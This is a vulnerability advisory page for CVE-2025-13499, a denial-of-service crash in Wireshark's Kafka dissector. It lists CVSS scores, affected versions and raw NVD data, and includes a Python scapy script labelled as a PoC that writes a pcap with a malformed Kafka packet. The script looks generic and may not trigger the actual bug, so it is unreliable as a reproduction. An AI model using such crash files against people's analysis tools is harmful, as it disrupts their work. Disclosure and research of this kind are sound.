Security Vulnerability Report
中文
CVE-2025-13499 CVSS 7.8 HIGH

CVE-2025-13499

Published: 2025-11-21 06:15:48
Last Modified: 2025-12-31 01:14:40

Description

Kafka dissector crash in Wireshark 4.6.0 and 4.4.0 to 4.4.10 allows denial of service

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:wireshark:wireshark:4.6.0:-:*:*:*:*:*:* - VULNERABLE
Wireshark 4.6.0
Wireshark 4.4.0
Wireshark 4.4.1
Wireshark 4.4.2
Wireshark 4.4.3
Wireshark 4.4.4
Wireshark 4.4.5
Wireshark 4.4.6
Wireshark 4.4.7
Wireshark 4.4.8
Wireshark 4.4.9
Wireshark 4.4.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-13499 PoC - Malformed Kafka packet generator # This PoC generates a pcap file with malformed Kafka messages # to trigger the Wireshark Kafka dissector crash import struct from scapy.all import IP, TCP, Raw, wrpcap def create_malformed_kafka_pcap(output_file): """Generate a pcap file with malformed Kafka messages""" # Create IP and TCP headers ip = IP(src="192.168.1.100", dst="192.168.1.200") tcp = TCP(sport=9092, dport=8080, flags="PA") # Kafka protocol header (malformed) # Kafka message format: api_key(2) + api_version(2) + correlation_id(4) + client_id api_key = struct.pack(">H", 0) # Produce request api_version = struct.pack(">H", 10) # Invalid high version correlation_id = struct.pack(">I", 12345) client_id = b"malformed_test" # Create malformed Kafka message with invalid length fields malformed_payload = api_key + api_version + correlation_id + client_id # Add invalid/corrupted data to trigger dissector crash malformed_payload += b"\x00" * 100 + b"\xff\xff\xff\xff" # Create packet packet = ip / tcp / Raw(load=malformed_payload) # Save pcap file wrpcap(output_file, [packet]) print(f"[+] Created PoC pcap file: {output_file}") print(f"[+] Malformed Kafka payload length: {len(malformed_payload)} bytes") if __name__ == "__main__": create_malformed_kafka_pcap("CVE-2025-13499.poc.pcap")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13499", "sourceIdentifier": "[email protected]", "published": "2025-11-21T06:15:48.203", "lastModified": "2025-12-31T01:14:40.110", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Kafka dissector crash in Wireshark 4.6.0 and 4.4.0 to 4.4.10 allows denial of service"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-824"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.4.0", "versionEndExcluding": "4.4.11", "matchCriteriaId": "E2B38884-8DE8-49C6-AEF4-CE0D1676E617"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wireshark:wireshark:4.6.0:-:*:*:*:*:*:*", "matchCriteriaId": "80D1CE07-2473-4F8C-98A9-C7E2959CC724"}]}]}], "references": [{"url": "https://gitlab.com/wireshark/wireshark/-/issues/20823", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}, {"url": "https://www.wireshark.org/security/wnpa-sec-2025-06.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}